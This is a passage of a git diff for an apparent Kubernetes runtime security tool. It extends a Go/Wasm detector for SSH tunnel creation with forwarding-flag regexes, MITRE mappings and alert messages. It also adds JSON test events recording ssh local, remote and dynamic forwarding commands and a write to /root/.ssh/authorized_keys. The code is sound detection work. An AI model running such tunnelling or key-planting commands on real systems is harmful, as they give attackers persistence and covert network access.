"docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-02-27T13:26:02Z", + "pid": 1968, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "332cff0fb99f03f8b4fb9633f245ba2", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjE4NDE2ODY2ODU1Njg4NzI6NDA4NjQxMA==", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534978, + "is_host": false + }, + "ipc": { + "inum": 4026534979, + "is_host": false + }, + "mnt": { + "inum": 4026535073, + "is_host": false + }, + "pid": { + "inum": 4026535074, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535074, + "is_host": false + }, + "net": { + "inum": 4026534980, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535075, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 4087418, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjE4NDE2ODY2ODU1Njg4NzI6NDA4NjQxMA==", + "pid": 4086410, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-03-05T18:48:33.479019614Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-02-27T13:26:02Z", + "pid": 1959, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "332cff0fb99f03f8b4fb9633f245ba2", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjE4NDE2ODY2ODE1NjIwOTQ6NDA4NjQxMA==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534978, + "is_host": false + }, + "ipc": { + "inum": 4026534979, + "is_host": false + }, + "mnt": { + "inum": 4026535073, + "is_host": false + }, + "pid": { + "inum": 4026535074, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535074, + "is_host": false + }, + "net": { + "inum": 4026534980, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535075, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 4086410, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "function_name": "security_file_permission", + "args": [ + { + "file_arg": { + "mount": "", + "path": "/root/.ssh/authorized_keys", + "flags": "" + }, + "label": "" + }, + { + "int_arg": 2, + "label": "" + } + ], + "return": { + "int_arg": 0, + "label": "" + }, + "action": "KPROBE_ACTION_POST", + "policy_name": "pt-cs-file-monitoring" + }, + "node_name": "test-k8s-cluster", + "time": "2024-03-05T18:50:25.450598445Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_SSH_KEY_MODIFY", + "severity": "MEDIUM", + "reason_contains": "authorized_keys", + "tactics": [ + "TA0001", + "TA0003", + "TA0004", + "TA0005" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "MEDIUM", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_CREATE/main.go b/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_CREATE/main.go index e36ff0ae..4a8635ee 100644 --- a/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_CREATE/main.go +++ b/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_CREATE/main.go @@ -4,6 +4,7 @@ package main import ( "context" + "fmt" "regexp" "github.com/gobwas/glob" @@ -14,12 +15,18 @@ import ( const ( ID = "CS_RT_SSH_TUNNEL_CREATE" Name = "SSH tunnel creation" - Description = "The detector detects if a local or remote network tunnel was created using the SSH service." + Description = "The detector detects attempts to create a local, remote, or dynamic network tunnel using the SSH service, which may indicate that an attacker tried to achieve persistence on the system, bypass existing network restrictions, or hide their activity." Version = 2 Author = "Runtime Radar Team" License = "Apache License 2.0" ) +const ( + ExecLocal = "Detected that a local SSH tunnel was created by the `%s` process, which was started using the `%s` arguments" + ExecRemote = "Detected that a remote SSH tunnel was created by the `%s` process, which was started using the `%s` arguments" + ExecDynamic = "Detected that a dynamic SSH tunnel was created by the `%s` process, which was started using the `%s` arguments" +) + var ( // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions // which will be used by Detector. If function names are not applicable for @@ -38,6 +45,35 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0001", + Techniques: []string{ + "T1133", + }, + }, + { + Id: "TA0003", + Techniques: []string{ + "T1133", + }, + }, + { + Id: "TA0008", + Techniques: []string{ + "T1021.004", + }, + }, + { + Id: "TA0011", + Techniques: []string{ + "T1572", + }, + }, + } +) + var ( sshBin = glob.MustCompile("*/ssh") @@ -46,8 +82,8 @@ var ( dynamicForwardRegex = regexp.MustCompile(`\s*-[^-\s]*D\s+`) ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -55,12 +91,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -93,10 +130,26 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe binary := process.GetProcess().GetBinary() args := process.GetProcess().GetArguments() - if sshBin.Match(binary) && - (localForwardRegex.MatchString(args) || remoteForwardRegex.MatchString(args) || dynamicForwardRegex.MatchString(args)) { + switch { + case sshBin.Match(binary) && localForwardRegex.MatchString(args): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecLocal, binary, args) resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + return resp, nil + case sshBin.Match(binary) && remoteForwardRegex.MatchString(args): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecRemote, binary, args) + resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + + return resp, nil + case sshBin.Match(binary) && dynamicForwardRegex.MatchString(args): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecDynamic, binary, args) + resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + + return resp, nil + default: return resp, nil } @@ -111,746 +164,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -LOCAL FORWARDING - -{ - "process_exec": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQ1MDU2NDQxODg3MTU0Mzg6MTIzMTI0OA==", - "pid": 1231248, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/ssh", - "arguments": "-L 127.0.0.1:8080:10.0.2.5:6443 ubuntu@10.0.2.5", - "flags": "execve rootcwd clone", - "start_time": "2024-04-05T14:47:50.982165630Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "labels": [], - "container": { - "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-02-27T13:26:02Z", - "pid": 71358, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "332cff0fb99f03f8b4fb9633f245ba2", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQ1MDU2MDI5NjI4MDU2NjY6MTIzMDg1OQ==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534978, - "is_host": false - }, - "ipc": { - "inum": 4026534979, - "is_host": false - }, - "mnt": { - "inum": 4026535073, - "is_host": false - }, - "pid": { - "inum": 4026535074, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535074, - "is_host": false - }, - "net": { - "inum": 4026534980, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535075, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1231248, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQ1MDU2MDI5NjI4MDU2NjY6MTIzMDg1OQ==", - "pid": 1230859, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-04-05T14:47:09.756256165Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "labels": [], - "container": { - "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-02-27T13:26:02Z", - "pid": 71351, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "332cff0fb99f03f8b4fb9633f245ba2", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQ1MDU2MDI5NjEzMDM0NzU6MTIzMDg1OQ==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534978, - "is_host": false - }, - "ipc": { - "inum": 4026534979, - "is_host": false - }, - "mnt": { - "inum": 4026535073, - "is_host": false - }, - "pid": { - "inum": 4026535074, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535074, - "is_host": false - }, - "net": { - "inum": 4026534980, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535075, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1230859, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "ancestors": [] - }, - "node_name": "experts-k8s-cs", - "time": "2024-04-05T14:47:50.982165341Z", - "aggregation_info": null -} - -REMOTE FORWARDING -{ - "process_exec": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQ1MDU2MTE0ODQ4Mjg5MzE6MTIzMDk2MA==", - "pid": 1230960, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/ssh", - "arguments": "-R 127.0.0.1:8080:10.0.2.5:6443 ubuntu@10.0.2.5", - "flags": "execve rootcwd clone", - "start_time": "2024-04-05T14:47:18.278278973Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "labels": [], - "container": { - "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-02-27T13:26:02Z", - "pid": 71357, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "332cff0fb99f03f8b4fb9633f245ba2", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQ1MDU2MDI5NjI4MDU2NjY6MTIzMDg1OQ==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534978, - "is_host": false - }, - "ipc": { - "inum": 4026534979, - "is_host": false - }, - "mnt": { - "inum": 4026535073, - "is_host": false - }, - "pid": { - "inum": 4026535074, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535074, - "is_host": false - }, - "net": { - "inum": 4026534980, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535075, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1230960, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQ1MDU2MDI5NjI4MDU2NjY6MTIzMDg1OQ==", - "pid": 1230859, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-04-05T14:47:09.756256165Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "labels": [], - "container": { - "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-02-27T13:26:02Z", - "pid": 71351, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "332cff0fb99f03f8b4fb9633f245ba2", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQ1MDU2MDI5NjEzMDM0NzU6MTIzMDg1OQ==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534978, - "is_host": false - }, - "ipc": { - "inum": 4026534979, - "is_host": false - }, - "mnt": { - "inum": 4026535073, - "is_host": false - }, - "pid": { - "inum": 4026535074, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535074, - "is_host": false - }, - "net": { - "inum": 4026534980, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535075, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1230859, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "ancestors": [] - }, - "node_name": "experts-k8s-cs", - "time": "2024-04-05T14:47:18.278279002Z", - "aggregation_info": null -} - -DYNAMIC FORWARDING -{ - "process_exec": { - "process": { - "exec_id": "cHRjcy1tYXN0ZXItbm9kZToxOTg5NjIwODczNjA5MDQ4NzoxODk3NzYx", - "pid": 1897761, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/ssh", - "arguments": "-D 8888 -N admin@10.125.11.114", - "flags": "execve rootcwd clone", - "start_time": "2025-04-22T22:12:35.848223325Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://657178534beb38ff65dc8f120862c823de19056e47a31a16caae849b2ce90efa", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2025-03-04T11:57:50Z", - "pid": 4025, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "657178534beb38ff65dc8f120862c82", - "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZToxOTg5NjAxMDY5OTg1MTE4NzoxODkxMTMz", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533358, - "is_host": false - }, - "ipc": { - "inum": 4026533363, - "is_host": false - }, - "mnt": { - "inum": 4026533365, - "is_host": false - }, - "pid": { - "inum": 4026533366, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533366, - "is_host": false - }, - "net": { - "inum": 4026533192, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533367, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1897761, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "cHRjcy1tYXN0ZXItbm9kZToxOTg5NjAxMDY5OTg1MTE4NzoxODkxMTMz", - "pid": 1891133, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2025-04-22T22:09:17.811981949Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://657178534beb38ff65dc8f120862c823de19056e47a31a16caae849b2ce90efa", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2025-03-04T11:57:50Z", - "pid": 3855, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "657178534beb38ff65dc8f120862c82", - "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZToxOTg5NjAxMDY1NzcxMDc1NjoxODkxMTMz", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533358, - "is_host": false - }, - "ipc": { - "inum": 4026533363, - "is_host": false - }, - "mnt": { - "inum": 4026533365, - "is_host": false - }, - "pid": { - "inum": 4026533366, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533366, - "is_host": false - }, - "net": { - "inum": 4026533192, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533367, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1891133, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "ancestors": [] - }, - "node_name": "cs-master-node", - "time": "2025-04-22T22:12:35.848220758Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } -*/ diff --git a/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_CREATE/testdata/negative_no_forward.json b/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_CREATE/testdata/negative_no_forward.json new file mode 100644 index 00000000..38e52baa --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_CREATE/testdata/negative_no_forward.json @@ -0,0 +1,23 @@ +{ + "event": { + "process_exec": { + "process": { + "pid": 12345, + "binary": "/usr/bin/ssh", + "arguments": "user@example.com ls -la" + } + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_CREATE/testdata/positive_ssh_local_forward.json b/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_CREATE/testdata/positive_ssh_local_forward.json new file mode 100644 index 00000000..396c76f9 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_CREATE/testdata/positive_ssh_local_forward.json @@ -0,0 +1,257 @@ +{ + "event": { + "process_exec": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQ1MDU2NDQxODg3MTU0Mzg6MTIzMTI0OA==", + "pid": 1231248, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/ssh", + "arguments": "-L 127.0.0.1:8080:10.0.2.5:6443 ubuntu@10.0.2.5", + "flags": "execve rootcwd clone", + "start_time": "2024-04-05T14:47:50.982165630Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-02-27T13:26:02Z", + "pid": 71358, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "332cff0fb99f03f8b4fb9633f245ba2", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQ1MDU2MDI5NjI4MDU2NjY6MTIzMDg1OQ==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534978, + "is_host": false + }, + "ipc": { + "inum": 4026534979, + "is_host": false + }, + "mnt": { + "inum": 4026535073, + "is_host": false + }, + "pid": { + "inum": 4026535074, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535074, + "is_host": false + }, + "net": { + "inum": 4026534980, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535075, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1231248, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQ1MDU2MDI5NjI4MDU2NjY6MTIzMDg1OQ==", + "pid": 1230859, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-04-05T14:47:09.756256165Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-02-27T13:26:02Z", + "pid": 71351, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "332cff0fb99f03f8b4fb9633f245ba2", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQ1MDU2MDI5NjEzMDM0NzU6MTIzMDg1OQ==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + 